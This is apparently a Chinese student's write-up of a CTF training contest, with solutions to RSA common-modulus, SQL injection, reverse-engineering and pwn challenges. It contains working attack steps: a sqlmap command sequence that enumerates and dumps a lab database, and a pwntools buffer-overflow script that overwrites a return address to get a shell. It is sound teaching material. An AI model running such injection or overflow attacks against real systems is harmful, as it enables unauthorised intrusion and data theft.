10385472315295274279752027663123644290012666196866295132648746077603537053
41075814117498519838829449186475803266347511493093314057394082489334887343
69791089612631094937947145927404252527335340396533616589669390745154984691
50564385259184158601978881667172872514442611560047642383429634462342476924
69498495955457564116860046366742203315665220665037378159590091437908369005
41011369147780522155349163608303936511875776968618793667849283339454165391
98316715114563672390936886990158131897441504859629300921838795394043403974
88297025103118503268756654960309659736211970446077705669626938922221364040
40039326162937060881922813952323996513548209307618622321750452015228443368
5278728975596909313536355577774263112332303417495,
26557471605131665237372591573303958136076747800735567720886279054651726681
41752288766175573823456363661712304127043593424801965023135571244687428548
45964639446615527297260078648078832479103552945529397702811023160856474548

17075860117709610903378273803785449126658345036005770937465604372748657904
10080336449606331108980887375063373060791700394630605392845966807229841226
68138506733044092213040264632377310912338859702542201713722801597383547642
87307449269534228222953132340450160632968502469793410539770476763475617755
08306069438212923236418475503054180021162644813966851597297546990380219741
12119007961857750927260165005343668997258556777073319104480913767351824955
11640651596136065654569615059023082476781823439239006688210818024912313433
85222528815133206058438657198919438286945256103085931340955952576012772500
95512971878092015641527416283394136605995411555481682062437646304056218813
71777385365331198277191401379411977005768107597428899408004029629825819724
22600307940687706247500735285586558544683119738949007090104101535319632425
36694053354460114740002987242912781569628039930451836710678384012266839237
61809154099080871267456110861700365286443270668687885419492647141346736427
3879858306496164438558301944586872526314416436729,
25766770917996056594404418632849280736773894413595484704360521276438283270
47574173607614943941492598400750037401231771740522281493588185142033187782
66531647701104357387731055756642198126158958674918656487262909369809914501
09065061571002406789261909864060594242396892552947891922874313724482812615
70607132776496975654828703197128887713135255251828305440557410568363936615
62890441668986775895006750523792997339303390948664379529154621139345761900
66818206395176511047618235321641256793947939932061713160623975773383852372
03503731763713394475463959862268921597290523402633862518157115414268223497
62794032005866548317927624214525949088057509495079716595991505466968675343
42459796767305798199873460751776766321752777763826569467512296875307031335
30404797674445880780331828060748688138696506412327131455136115107493412506
77135573366310245748508309797568504000893478018992172460072619223216653635
05995110476567676426259598171888992261808055927903181146305876716308176950
16788547501433612300773752668552335240769320537583732996912998364953508589
18208667028246552871796016959655328175575388893735202161506889843014300945
25898377462642899756655059449410587564958579451390909481348127622443750499
7908838620440906093212995482890227864482686834190,
14157907824816465933631475558179090312957462178535856340494241183288902761
25189228430779703133568727080983148764556642779901963596178173432360777802
12015726412928497676188115163774425127257561524759706739351055688734989106
91046738348915021998704173412931508977160986258717927824599806881541812551
07783128704017175249595232950144045811490206091227483313494290799259333234
18453487827441318667072736406784251846857542799307229563231965689979783481
38575419229588666901668554520568404993167651578602512317416577655091965673
60117533493878755328589149217114072315359570283491821567451153578126081164
60300955036029308789535332310917278417257879838400347134132981052282345463
76493922106551545388365024599124554568596971133106722134081173211863775747

79637787744852959385379223188641470986197096365231278513930961743481805847
40385495516284017265910448932749623752764252436217250309282113783674781819
61711791663026587333212923349394283869853707385421167922559925171385072123
36682059320873287335134822664252528970961074058380465824577980734403821152
84490583075914757656607262849908944027495332015319876753722106977136926354
91761573913998171200789995618711882210825430098590872819922172978968835534
3771714240411144340267691701000569325726600849649,
10070640860012595861656057296944782764549272348868035765694402303453839973
93160391315114776084243964975049852405180871923418206913091560401735578651
61644246030172330845283424397215880348164966399708147484312750461404633620
07460951046487973610355796989057362956116049665551361807857557487622958696
98749152317834403085676971456312087203448174219661569951380240926303298392
87981598622829909387496628107522882200612218007935276132288274430206492765
04324144236630505135763888172299332550404748890092276536675029603540826642
47848984247979849180239531931410806171854041582860120683389800932386753838
05104814208262220830765204980423273644054614406928753102312502957833868665
25570949532499992834748483070588219087503830224215965303867766886769532359
78485910597676595091704405873434932565085816544555835706813132632892513119
69820219946594908769937861909315550223427011196699072141411379931011418416
26177951196057391152482801928134739635002159258507937129195898967627795014
67991070267834465050092155462112438485289909579972594992460215333304888182
76943755176641351178947109131074473022313793500525109820926744484848784134
45515013334789207203646319207820887898407843005050961336210916347077630885
3520413494134553520788527165210643113647810496589,
34981384963513076131815472417122245538702789105068221306406727134142930389
09942873486269431189122894341321277358011403590956231472778138245601412697
78185917912893221619639101474838871470527348639407988115022591546288219527
00508344620639373437401790884889282919618376779256551828163526573817923243
82558345107710622497960321753315827743945024181503645740798458082981402554
51369809109228920036628362659531937894016755198244534716098238188473304696
95357182000796330070038832658418239151887948372131409243514410202596006641
70300380068502299664217993132990354084583874786554392254040110748605075892
87703125668911128595090425584394218191894969779686007669018525968448845848
27569574626719419532811668716516566045998056095248077840438584050045411076
17136909240702221429827876288421323705558569638107119003756417134450859660
70672618729839098211058361572426347284580253270556235849653364467108283226
09239195998699220816907795139019191499619780142983355297036976617749892226
67804710823459512420508986567896951584754915558923402562378733645204281652
61924051446788990681257745034806293275943566726431175949072357873750695503
00836157431308302810943631514521871487875048253747113673958632796475832959
056980579822649368226846879825974200976217747711,

18805209457384789535344332010108942293400913151152991480062161488978836048
93664710141233560686111984366972656425922934387059942801573067558844340620
62555897511192911655239912153534425989299815208675196566032489735017173324
07626876235811355805658880046369431656528129345862672499044905298558406541
22674691739633442490268682959250994246379894041413951714805521926594751694
92358789922397020410091812256339808139462101037579234818856906786078038004
66417834811344016094432249090927599507985973600353886159600994773154592359
36440741473686036811569137667288497109308973910295208057991702978860359015
60720354328801121497942830908897754247093158260715205760336479187352697750
54840294892649739126282068718171507022526724278190278488177146496539319009
11374898070082741703412350187540587082271005219681724721126140241395421485
11672090369883055579159150483280047859702113107069145063822076366273741380
40955999225581074569602677648678959017267621488018387848430949369158707643
84558316277771800851146813296951545928377384192763730384380572804590323897
95579950086647929180500039243858004612454114104246030389853209524293515867
11723087705509329299462539462364123313073830720391931576618320701852830797
8536002563526915382765707550766239470376319281766,
12804720993489753116564065654526543212922805149909766849755636604795839806
56504114156791786679948748011832113875842630495587831551757676872383764714
10239080112711124265070494253545550677338177794236101154236088426957326670
76902732561544378843703910117123621463595340525567881231928034863961837094
05012708523965034377053717897574389625338760216672314644857284212996385621
79997341138328236001424780696712571002135260148519500712362439953653944355
02707297981478883078370511220029757855750811808335053534208358959567507434
65100024546720112017521314463769509242532724194911657368352352069257438173
31628994100865143504378023136929659750340651101832064496348352350702376046
32327609445994238868538267502318311853035216125113336918085230456511125718
35123622805424939457920383677773677232911871355498908524397777831763016687
83316103120542108214839147707138832048275265262384660908753395891466112378
94168341266050809784168728442900436695639880339038378684814642079572327624
56497981550005060765588051595755688999081331301992179125403444247225482543
89192205850179860024715312937155216947617503102080404845966308161835985658
84072703632093005440934658614342941868508923692431497971848621909665695876
1207121613200307960599376376751153525554473307533,
23628772752693669481027261409499298024272169353541692647709703381176000232
56960405713027115840715527457205245018387340754395052606100948465871106981
04370198495320428150883330530044160000718797914162721813131650632467266182
92774536051134995280046492561978916706621115569881997455570034433898053899
20349324650849710198318738829926485829349899706944309758068237183813601390
28755494008423203828583616107737184645655736859398213587197019572454522219
48431002479999773633988804016361368720573826217320516454410343286735956015

```
49036114174094575415905425279185215434561984529270140858942351808242901067
79767373064882855272262764598999200526024748196964109545955911014514411069
98513794331290071839537841338690536500487060031128065780533634980438463344
54912027089326166499569555632215254516634021974604488959144389816606132067
78572540245823448678395024212618006658385681869524887968993186136893139648
28424802360042378330292296015205775113180509171814846982024657020277755131
24605571599030337203532292686338502744804463675719350858594893436408998256
88088579915166107493273469038622840562987271174949658137917542872593944900
98294324799914043870581009116061979705390592938557089382386214035353458376
1732026051569066785734070136821001864045468123610]
```

```
def gcd(a, b):
    if a < b:
        a, b = b, a
    while b != 0:
        temp = a % b
        a = b
        b = temp
    return a
```

```
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
```

```
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m
```

```
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m
```

#这里e和c的序号可以从32个里面选两个

```
e1 = e[1]
e2 = e[2]
s = egcd(e1,e2)
s1 = s[1]
s2 = s[2]
c1 = c[1]
c2 = c[2]
print(s)
n =
30355202973926878768942103480930154266836311198544819748865660342328580955
50162257635078210589771913769756096123145737871484300300149784011024263462
90180457645094380918591576333426636173812372946449416193133967635136948329
49704672093203569930624288137465362917057454137688873248040246158271686672
29836958037702993558423017444943992839123591597629799742746359619766115738
75536934818825542925610132556421395122301055777262562802177229272506178634
12263032549217487689908015372208554011997678860427593978664577010631984880
76861653669965695393047471209088236545055975199716166477139511141666622918
10700501111018118275233410176961734636469348235124203204134145130577525538
89027938488175161981530713602173066275363944713975561298991495846017373767
99726800193402404347955558870590080489802083100314788125916902153533750229
42428110381458613385128108872115242768135293903468683608857300743326973147
00462658275167948231205002346874051540835083305382588253333646056723376535
35056888322650726134756836807099954365842881214406320151076925261522959708
09776420786093311436754175740811154244080248787476374748432605004090718808
33073136038876019590556511112149433127709342023751527683720467735002088432
3188865761880255671146749130841857969707181931683
if s1 < 0:
    s1 = -s1
    c1 = modinv(c1,n)
if s2 < 0:
    s2 = -s2
    c2 = modinv(c2,n)
m = (pow(c1,s1,n)*pow(c2,s2,n)) % n
print(n2s(m))
print(pow(m,e1,n) == c1)
print(pow(m,e2,n) == c2)
#flag{RSA_is_a_popular_algorithm}
```

最后很迷的是算出来的m只符合一个，另一个是False。

在网上看了一个讲解还不错，附上网址<http://bobao.360.cn/learning/detail/3058.html>

Web

0x06 Sql50

最简单的sqlmap注入，当天晚上还在试手注，难受。

payload如下

```
py -2 sqlmap.py -u 10.4.21.55:10010?id=1
py -2 sqlmap.py -u 10.4.21.55:10010?id=1 --dbs
py -2 sqlmap.py -u 10.4.21.55:10010?id=1 -D cunliyougeguniangtajiaochutian
--tables
py -2 sqlmap.py -u 10.4.21.55:10010?id=1 -D cunliyougeguniangtajiaochutian
--tables =T Marinata --columns
py -2 sqlmap.py -u 10.4.21.55:10010?id=1 -D cunliyougeguniangtajiaochutian
--tables =T Marinata --columns -C Hinata --dump
flag{Power_of_Ldy}
```

Re

0x07 re100

简单的逆向，当时主要是没把那个或当回事。。。没怎么见过或运算不太敏感。

逻辑关系：flag + 9 = ((key&0xAA) >> 1) | (2 * (key&0x55))

脚本如下


```
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
a =
[0x8F,0xAA,0x85,0xA0,0x48,0xAC,0x40,0x95,0xB6,0x16,0xBE,0x40,0xB4,0x16,0x
97,0xB1,0xBE,0xBC,0x16,0xB1,0xBC,0x16,0x9D,0x95,0xBC,0x41,0x16,0x36,0x42,
0x95,0x95,0x16,0x40,0xB1,0xBE,0xB2,0x16,0x36,0x42,0x3D,0x3D,0x49]
flag = ''
for i in range(len(a)):
    flag += chr( (((a[i]&0xAA)>>1) | (2*(a[i]&0x55))) - 9 )
print(flag)
#FLAG{Swap two bits is easy 0xaa with 0x55}
```

0x08 re200

听说不能F5?! 之后才知道可以向上次hctf一样修复。

方法一：修复F5


关键函数是check并且就是它不能f5，如下图

```

    call    rax
    pop     rax
    add     rsp, 5
    rep stos dword ptr es:[edi]

bitss:
                                ; CODE XREF: check:loc_4006C6↑j
    mov     rax, 0
    mov     eax, 0

locret_4006DE:
                                ; CODE XREF: check+7E↑j
    leave
    retn
check      endp ; sp-analysis failed
```



在红色的那一行点字母D，就可以了。

```

1 void check()
2 {
3     char s1[56]; // [sp+0h] [bp-40h]@2
4     int v1; // [sp+38h] [bp-8h]@1
5     int i; // [sp+3Ch] [bp-4h]@1
6
7     v1 = strlen(input);
8     for ( i = 0; i < v1; ++i )
9         s1[i] = *((_BYTE *)encrypted + i) ^ 2 * i;
10    strncmp(s1, input, v1);
11    JUMPOUT(locret_4006DF);
12 }

```

方法二：gdb直接跟到strcmp

由于最后有个比较函数，所以可以在strcmp处下断点，地址为0x4006B6，即check+112。

然后run，可以直接看到flag。

```

argv: 0x7fffffe270 ("flag{Have_u_tried_GDB?}.w[BS\030wY\036\071-14")
arg[0]: 0x7fffffe270 ("flag{Have_u_tried_GDB?}.w[BS\030wY\036\071-14")
arg[1]: 0x601080 ("123465789123456789123456789123456789")
arg[2]: 0x24 ('$')
[-----stack-----]
0000| 0x7fffffe270 ("flag{Have_u_tried_GDB?}.w[BS\030wY\036\071-14")
0008| 0x7fffffe278 ("e_u_tried_GDB?}.w[BS\030wY\036\071-14")
0016| 0x7fffffe280 ("d_GDB?}.w[BS\030wY\036\071-14")
0024| 0x7fffffe288 --> 0x1e59571853425b77
0032| 0x7fffffe290 --> 0x34312d39 ('9-14')
0040| 0x7fffffe298 --> 0xfbad2a84
0048| 0x7fffffe2a0 --> 0x0
0056| 0x7fffffe2a8 --> 0x2400000024 ('$')

```

方法三：gdb一步一步跟。

可发现输入的字符串是经过异或1，2，4，6等从而和目标串匹配，从而写脚本得到flag。

脚本如下

```
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
a =
[0x66,0x6E,0x65,0x61,0x73,0x42,0x6D,0x78,0x75,0x4D,0x61,0x49,0x6C,0x68,0x
75,0x7B,0x44,0x7D,0x63,0x62,0x6A,0x15,0x51]
flag = ''
for i in range(len(a)):
    flag += chr( a[i]^(2*i) )
print(flag)
#flag{Have_u_tried_GDB?}
```

0x09 re300(js加密混淆)

首先在网址<http://matthewfl.com/unPacker.html>格式化。得到

```

console.log((function()
{
  if(typeof(require)=='undefined')return('`·w·`');
  var code=require('process').argv[2];
  if(!code)return('`·w·`');
  String.prototype.zpad=function(l)
  {
    return this.length<l?'0'+this.zpad(l-1):this
  };
  function encrypt(data)
  {
    return'''+
(Array.prototype.slice.call(data).map((e)=>e.charCodeAt(0)).map((e)=>
(e*0xb1+0x1b)&0xff).map((e)=>'\\u'+e.toString(16).zpad(4))).join('')+'''
  }
  var crypted="balabalabalayidachuan";
  if(JSON.parse(encrypt(code))!=crypted)return('`·w·`');
  try
  {
    eval(code)
  }
  catch(e)
  {
    return('`·w·`')
  }
  return'(*`V`~♥'
})
)())

```

关键代码在这：(e)=>(e*0xb1+0x1b)&0xff)

也就是说flag经过数乘加法，然后取低八位得到加密串。要想直接逆回去是不可能的，所以爆破。

脚本如下

```
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
a = [key]#数量太大就不放了
flag = []
for i in range(256):
    for j in range(256):
        if (( j*0xb1 + 0x1b )&0xff) == i:
            flag.append(j)
            break
flag1 = ''
for i in a:
    flag1 += chr( flag[i] )
print(len(a),len(flag1))
print(flag1)
```

得到:

[illegible]

目测又是js，于是360浏览器里的console里跑一发，得到FLAG{JS Encoder Sucks}

Pwn

0x10 pwn100

菜的一批就弄了一个pwn，这题就是要输入一个payload根据返回的地址猜测覆盖到ret所需的字节数，注意是64位的。

脚本如下

```
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
from pwn import *
io = remote('10.4.21.55',9001)
io.recvuntil("0x")
sys_addr = int(io.recv()[12:],16)
payload = 'f' * 56

payload += p64(sys_addr)

io.sendline(payload)
io.interactive()
```

写在最后

以上就是**12月17日10.0.0.55**训练赛来自我的**Writeup**，菜的一批，继续加油。